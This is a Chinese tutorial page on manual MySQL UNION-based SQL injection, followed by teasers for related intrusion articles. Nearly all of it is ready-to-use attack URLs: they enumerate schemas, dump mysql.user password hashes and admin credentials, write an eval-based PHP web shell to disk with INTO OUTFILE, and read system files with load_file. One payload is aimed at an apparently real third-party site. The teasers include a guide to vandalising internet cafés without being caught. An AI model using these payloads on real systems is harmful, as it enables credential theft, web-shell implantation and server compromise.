手动mysql 高级注入实例分析

所属分类: 网络安全 / 黑客入侵 阅读数: 117
收藏 0 赞 0 分享
利用Information_schema系统库来注入,配合使用group_concat()函数,group_concat()功能强大,而且能够绕过limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段为 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 统计数据库中又多少个用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 测试过程中只有 root权限或者 全局权限才能爆出所有数据库 普通用户不能爆出所有用户
这样就把mysql服务器所有数据库名字显示出来了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
这样就能把 test 数据库中的 所有表显示出来了。 其中 0x74657374 为 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
这样就把admin表中所有的字段名 显示出来了。

这样注入手法很灵活的。突破了 limit 限制了。
来看下 穿山甲的注入语句



以下部分只有root 权限或者 全局权限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看数据库中有那些用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看对应用户的 密码


通过不断修改limit 2,1达到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通过 limit 一条条记录取出来

或者直接用group_concat()函数 一次显示出来
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的应用 注意路径是 这样的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc码 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的应用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex编码
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相关文件打包下载[用于测试的数据库sql文件与php代码]
更多精彩内容其他人还在看

黑客技术讲解 网吧入侵方法大搜罗

首先,我们了解被破坏网吧的客观环境,要了解网吧人员的实地监测等。尤其要注意看有没有闭路电视监控。如果网吧人员对你的个人资料相当熟悉,就住手免的惹麻烦了。部分网吧要出示身份证也不要破坏了,免的惹麻烦。以下破坏方法不分先后,请量力灵活运用若干破坏组合。具体
收藏 0 赞 0 分享

通过Asp入侵Webserver

通过asp入侵web server,窃取文件毁坏系统,这决非耸人听闻... iis的安全性问题 1.iis3/pws的漏洞 我实验过,win98 pws上运行ASP程序,只须在浏览器地址栏内多加一个小数点ASP程序就会被下载下来。IIS3听说也有同样的问题,
收藏 0 赞 0 分享

详尽的IPC$入侵

一 唠叨一下: 网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄. 不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步
收藏 0 赞 0 分享

如何入侵ADSL

这是一位所谓的"黑客"的口述,你不妨看一下,也许你看完后对他的技术性做法不是完全明白,但是你肯定会感到一身冷汗,因为我们现在使用ADSL已经日益广泛,但我们的安全意识还不是很强.听完他的口述希望大家在日后能加强安全防范! 口述: 也许看烂了网上已有的
收藏 0 赞 0 分享

看我来入侵复旦大学(图)

一、师出有名 某日十分无聊,就和X论坛的超级版主wyzhack瞎吹牛,东年西扯的。后来不知道怎么的扯到复旦去了,他提议说不如我们黑掉复旦吧。正好当时也比较清闲,就答应一起看看了,嘿嘿。这次跑去黑复旦纯粹是为了练习技术。 二、战略部署 这次要拿的
收藏 0 赞 0 分享

领土之争——入侵某视讯服务器回忆录

老早就打算写这样一篇文章:能够细致地反映出入侵中攻防的具体内容,我想这比单纯的技术文章有趣的多。有鉴于此,我将尽力完整描述入侵过程中的思考方式。 1.石榴裙下的kk 说实话,就第一次拿到权限而言,没有多少技术含量。我花了N久时间收集KK网络的各种信息,最终
收藏 0 赞 0 分享

黑客攻防实战之对有防火墙网站入侵过程

前几天群里的兄弟给了一个网站,问我可不可以入侵。   一、踩点   ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。   二、注入   从源文件里搜索关键字asp
收藏 0 赞 0 分享

看看黑客都在偷窥什么!入侵个人电脑揭密(图)

前几天看《南国早报》说一位女孩个人电脑被黑客入侵控制,把裸照发到网上威胁女孩的事。联想到最近网上这样的事挺多的,就想给大家说说怎么防范。 其实现在的网络真的不安全~只要你的电脑连接上网络就存在一定的风险。黑客并不是万能的,他们入侵的电脑都是存在比较严重
收藏 0 赞 0 分享

XSS Phishing - 新式跨站脚本攻击方式(图)

最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞! 跨站脚本攻击最大的魅力是通过HTML注
收藏 0 赞 0 分享

PHP数据库安全之SQL注入

$offset = $argv[0]; // 注意,没有输入验证!   $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";   $resu
收藏 0 赞 0 分享
查看更多